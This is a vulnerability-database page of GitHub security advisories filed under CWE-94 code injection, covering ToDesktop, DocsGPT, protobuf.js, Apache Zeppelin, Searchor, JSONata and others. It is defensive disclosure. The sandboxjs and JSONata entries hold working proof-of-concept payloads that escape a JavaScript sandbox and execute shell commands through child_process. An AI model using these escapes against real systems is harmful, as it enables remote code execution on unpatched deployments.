Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

9398 vulnerabilities reference this CWE, most recent first.

GHSA-6662-3HPJ-63QQ

Vulnerability from github – Published: 2025-03-01 06:30 – Updated: 2025-03-01 06:30
VLAI
Details

ToDesktop before 2024-10-03, as used by Cursor before 2024-10-03 and other applications, allows remote attackers to execute arbitrary commands on the build server (e.g., read secrets from the desktopify config.prod.json file), and consequently deploy updates to any app, via a postinstall script in package.json. No exploitation occurred.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-27554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-01T06:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "ToDesktop before 2024-10-03, as used by Cursor before 2024-10-03 and other applications, allows remote attackers to execute arbitrary commands on the build server (e.g., read secrets from the desktopify config.prod.json file), and consequently deploy updates to any app, via a postinstall script in package.json. No exploitation occurred.",
  "id": "GHSA-6662-3hpj-63qq",
  "modified": "2025-03-01T06:30:53Z",
  "published": "2025-03-01T06:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27554"
    },
    {
      "type": "WEB",
      "url": "https://kibty.town/blog/todesktop"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=43210858"
    },
    {
      "type": "WEB",
      "url": "https://www.todesktop.com/blog/posts/security-incident-at-todesktop"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-666H-G3RX-GW3P

Vulnerability from github – Published: 2026-03-03 21:31 – Updated: 2026-03-04 15:30
VLAI
Details

Weintek cMT-3072XH2 easyweb v2.1.53, OS v20231011 was discovered to contain an authenticated command injection vulnerability via the HMI Name parameter.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-55022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-03T20:16:41Z",
    "severity": "HIGH"
  },
  "details": "Weintek cMT-3072XH2 easyweb v2.1.53, OS v20231011 was discovered to contain an authenticated command injection vulnerability via the HMI Name parameter.",
  "id": "GHSA-666h-g3rx-gw3p",
  "modified": "2026-03-04T15:30:33Z",
  "published": "2026-03-03T21:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55022"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de"
    },
    {
      "type": "WEB",
      "url": "https://plain-trick-71d.notion.site/weintek-cMT-3072XH2-14687a89c4c181eeb21ad61e0392f34b?pvs=4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6675-J46F-VJJW

Vulnerability from github – Published: 2026-09-04 18:31 – Updated: 2026-09-04 18:31
VLAI
Details

In DocsGPT 0.15.0 and below, the application provides a custom prompt feature that allows users to define prompt content used during chatbot interactions. This functionality renders user-supplied prompt data using Jinja templates without input sanitization or sandboxing. An unauthenticated attacker can inject malicious template expressions, leading to a server-side template injection (SSTI) vulnerability that can be exploited to achieve full remote code execution (RCE).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-31020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T17:16:56Z",
    "severity": "CRITICAL"
  },
  "details": "In DocsGPT 0.15.0 and below, the application provides a custom prompt feature that allows users to define prompt content used during chatbot interactions. This functionality renders user-supplied prompt data using Jinja templates without input sanitization or sandboxing. An unauthenticated attacker can inject malicious template expressions, leading to a server-side template injection (SSTI) vulnerability that can be exploited to achieve full remote code execution (RCE).",
  "id": "GHSA-6675-j46f-vjjw",
  "modified": "2026-09-04T18:31:31Z",
  "published": "2026-09-04T18:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31020"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PhDg1410/CVE/tree/main/CVE-2026-31020"
    },
    {
      "type": "WEB",
      "url": "http://arc53.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-669R-J85H-HF68

Vulnerability from github – Published: 2022-05-02 06:13 – Updated: 2022-05-02 06:13
VLAI
Details

Microsoft Internet Explorer 6, 6 SP1, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka "Uninitialized Memory Corruption Vulnerability."

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{
  "affected": [],
  "aliases": [
    "CVE-2010-0490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-31T19:30:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Internet Explorer 6, 6 SP1, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka \"Uninitialized Memory Corruption Vulnerability.\"",
  "id": "GHSA-669r-j85h-hf68",
  "modified": "2022-05-02T06:13:06Z",
  "published": "2022-05-02T06:13:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0490"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-018"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8302"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1023773"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/39031"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA10-068A.html"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA10-089A.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/0744"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-66FF-XGX4-VCHM

Vulnerability from github – Published: 2026-05-12 15:06 – Updated: 2026-05-12 15:06
VLAI
Summary
protobuf.js: Code injection through bytes field defaults in generated toObject code
Details

Summary

protobufjs generated JavaScript for toObject conversion could include an unsafe expression derived from a schema-controlled bytes field default value. A crafted descriptor with a non-string default value for a bytes field could cause attacker-controlled code to be emitted into the generated conversion function.

Impact

An attacker who can provide or influence a protobuf descriptor may be able to execute arbitrary JavaScript in the context of the process using protobufjs.

This requires the application to load an attacker-controlled schema or descriptor and then convert a message of the affected type with defaults enabled. Applications that only use trusted, application-defined schemas are not directly affected by this issue.

Preconditions

  • The application must allow an attacker to control or influence a protobuf JSON descriptor or equivalent reflected schema.
  • The descriptor must define a bytes field with an attacker-controlled default value.
  • The application must call toObject with defaults enabled for the affected type.

Workarounds

Do not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict field options before loading them and run schema processing in an isolated environment.

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:06:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nprotobufjs generated JavaScript for `toObject` conversion could include an unsafe expression derived from a schema-controlled `bytes` field default value. A crafted descriptor with a non-string default value for a `bytes` field could cause attacker-controlled code to be emitted into the generated conversion function.\n\n## Impact\n\nAn attacker who can provide or influence a protobuf descriptor may be able to execute arbitrary JavaScript in the context of the process using protobufjs.\n\nThis requires the application to load an attacker-controlled schema or descriptor and then convert a message of the affected type with defaults enabled. Applications that only use trusted, application-defined schemas are not directly affected by this issue.\n\n## Preconditions\n\n- The application must allow an attacker to control or influence a protobuf JSON descriptor or equivalent reflected schema.\n- The descriptor must define a `bytes` field with an attacker-controlled default value.\n- The application must call `toObject` with defaults enabled for the affected type.\n\n## Workarounds\n\nDo not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict field options before loading them and run schema processing in an isolated environment.",
  "id": "GHSA-66ff-xgx4-vchm",
  "modified": "2026-05-12T15:06:13Z",
  "published": "2026-05-12T15:06:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protobufjs/protobuf.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "protobuf.js: Code injection through bytes field defaults in generated toObject code"
}

GHSA-66G2-XVJX-X9J9

Vulnerability from github – Published: 2026-08-24 06:30 – Updated: 2026-08-24 06:30
VLAI
Details

A weakness has been identified in ractivejs ractive up to 1.4.4. Impacted is the function Ractive#set of the component Keypath Handler. Executing a manipulation can lead to improperly controlled modification of object prototype attributes. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
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{
  "affected": [],
  "aliases": [
    "CVE-2026-78181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-24T04:16:58Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in ractivejs ractive up to 1.4.4. Impacted is the function Ractive#set of the component Keypath Handler. Executing a manipulation can lead to improperly controlled modification of object prototype attributes. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-66g2-xvjx-x9j9",
  "modified": "2026-08-24T06:30:28Z",
  "published": "2026-08-24T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78181"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ractivejs/ractive/issues/3448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ractivejs/ractive"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-78181"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/884187"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/394565"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/394565/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-66H4-QJ4X-38XP

Vulnerability from github – Published: 2026-02-05 21:05 – Updated: 2026-02-06 21:42
VLAI
Summary
@nyariv/sandboxjs has a Sandbox Escape vulnerability
Details

Summary

As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.

Details

This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:

let a = Map.prototype;
console.log(a) // undefined

const a = Map.prototype;
console.log(a) // Object [Map] {}

let a = 123;
console.log(a) // 123

const a = 123;
console.log(a) // 123

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const m = Map.prototype;
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;

sb.compile(payload)().run();

Impact

Able to set Map.prototype.has -> RCE

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:05:59Z",
    "nvd_published_at": "2026-02-06T20:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it\u0027s prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__`  (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n  )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -\u003e RCE",
  "id": "GHSA-66h4-qj4x-38xp",
  "modified": "2026-02-06T21:42:54Z",
  "published": "2026-02-05T21:05:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nyariv/sandboxjs has a Sandbox Escape vulnerability"
}

GHSA-66J8-C83M-GJ5F

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2025-11-05 19:57
VLAI
Summary
Apache Zeppelin remote code execution by adding malicious JDBC connection string
Details

Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Zeppelin.

The attacker can inject sensitive configuration or malicious code when connecting MySQL database via JDBC driver. This issue affects Apache Zeppelin: before 0.11.1.

Users are recommended to upgrade to version 0.11.1, which fixes the issue.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zeppelin:zeppelin-jdbc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-11T20:13:39Z",
    "nvd_published_at": "2024-04-09T16:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Apache Zeppelin.\n\nThe attacker can inject sensitive configuration or malicious code when connecting MySQL database via JDBC driver. This issue affects Apache Zeppelin: before 0.11.1.\n\nUsers are recommended to upgrade to version 0.11.1, which fixes the issue.",
  "id": "GHSA-66j8-c83m-gj5f",
  "modified": "2025-11-05T19:57:46Z",
  "published": "2024-04-09T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31864"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/pull/4709"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/commit/e65b5430e43c076c138a1f56e3f2aba1324118f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/zeppelin"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/ZEPPELIN-5990"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/752qdk0rnkd9nqtornz734zwb7xdwcdb"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-11974"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/04/09/8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/08/03/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Zeppelin remote code execution by adding malicious JDBC connection string"
}

GHSA-66M2-493M-CRH2

Vulnerability from github – Published: 2023-09-25 18:37 – Updated: 2024-10-09 22:52
VLAI
Summary
Searchor CLI's Search vulnerable to Arbitrary Code using Eval
Details

An issue in Arjun Sharda's Searchor before version v.2.4.2 allows an attacker to execute arbitrary code via a crafted script to the eval() function in Searchor's src/searchor/main.py file, affecting the search feature in Searchor's CLI (Command Line Interface).

Impact

Versions equal to, or below 2.4.1 are affected.

Patches

Versions above, or equal to 2.4.2 have patched the vulnerability.

References

https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit- https://github.com/jonnyzar/POC-Searchor-2.4.2 https://github.com/ArjunSharda/Searchor/pull/130

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "searchor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-43364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-25T18:37:51Z",
    "nvd_published_at": "2023-12-12T18:15:22Z",
    "severity": "CRITICAL"
  },
  "details": " An issue in Arjun Sharda\u0027s Searchor before version v.2.4.2 allows an attacker to\n execute arbitrary code via a crafted script to the eval() function in Searchor\u0027s src/searchor/main.py file, affecting the search feature in Searchor\u0027s CLI (Command Line Interface).\n\n### Impact\nVersions equal to, or below 2.4.1 are affected.\n\n### Patches\nVersions above, or equal to 2.4.2 have patched the vulnerability.\n\n### References\nhttps://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection\nhttps://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-\nhttps://github.com/jonnyzar/POC-Searchor-2.4.2\nhttps://github.com/ArjunSharda/Searchor/pull/130",
  "id": "GHSA-66m2-493m-crh2",
  "modified": "2024-10-09T22:52:25Z",
  "published": "2023-09-25T18:37:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ArjunSharda/Searchor/security/advisories/GHSA-66m2-493m-crh2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43364"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ArjunSharda/Searchor/pull/130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ArjunSharda/Searchor/commit/16016506f7bf92b0f21f51841d599126d6fcd15b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ArjunSharda/Searchor"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-66m2-493m-crh2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/searchor/PYSEC-2023-262.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Searchor CLI\u0027s Search vulnerable to Arbitrary Code using Eval"
}

GHSA-66MM-25PP-RFFF

Vulnerability from github – Published: 2026-08-21 21:04 – Updated: 2026-08-21 21:04
VLAI
Summary
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Details

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to: - overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g. $merge.*) - applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

  • https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)
  • https://github.com/jsonata-js/jsonata/pull/800
  • https://github.com/jsonata-js/jsonata/pull/802

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

  • https://github.com/jsonata-js/jsonata/pull/799
  • https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673

  • https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de

  • https://github.com/jsonata-js/jsonata/pull/800

  • https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc

  • https://github.com/jsonata-js/jsonata/pull/802

  • https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04
Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsonata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsonata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T21:04:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to:\n- overwriting `$clone` allowing mutation of objects via transforms (see\n[`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314))\n- it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`)\n- [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675)\nusing `proc.arguments.forEach` and not `Array.prototype.forEach`\n\nWhich could be chained to execute arbitrary code.\n\nThis was fixed with:\n\n- https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/pull/802\n\nWhich are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n    $obj := {};\n    $clone := function($o) { $o };\n    $m := ($merge.*)[1];\n\n    $fn := function($a) {\n        (\n            $a({\"value\":\"lg\"},\"__lookupGetter__\");\n            $a({\"value\":\"x\"},\"x\");\n        )\n    };\n\n    $nop := function() { $ };\n\n    $capture := function($val) {\n        $obj ~\u003e | $obj | {\"x\": 1, \"y\": 1, \"lg\":$lg} |\n    };\n\n    $ ~\u003e | $ | $m([$nop,{\"_jsonata_lambda\":false}])|;\n    $ ~\u003e | $ | {\"arguments\":{\"forEach\": $spread($fn)}}|;\n    $ ~\u003e | $ | {\"body\":$m([$capture,{\"_jsonata_lambda\":false}]).body}|;\n    $func := $m([$,{\"_jsonata_lambda\":true}]);\n    $func();\n\n    $gP := $obj.lg(\"__proto__\");\n\n    $afn:=$spread($fn);\n    $afn{\"x\":$gP().constructor(\"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027})\")()};\n)\n`);\n\nawait expression.evaluate({});\n```\n\n## References\n\n- https://github.com/jsonata-js/jsonata/pull/799\n- https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673\n- https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de\n\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc\n\n- https://github.com/jsonata-js/jsonata/pull/802\n- https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04",
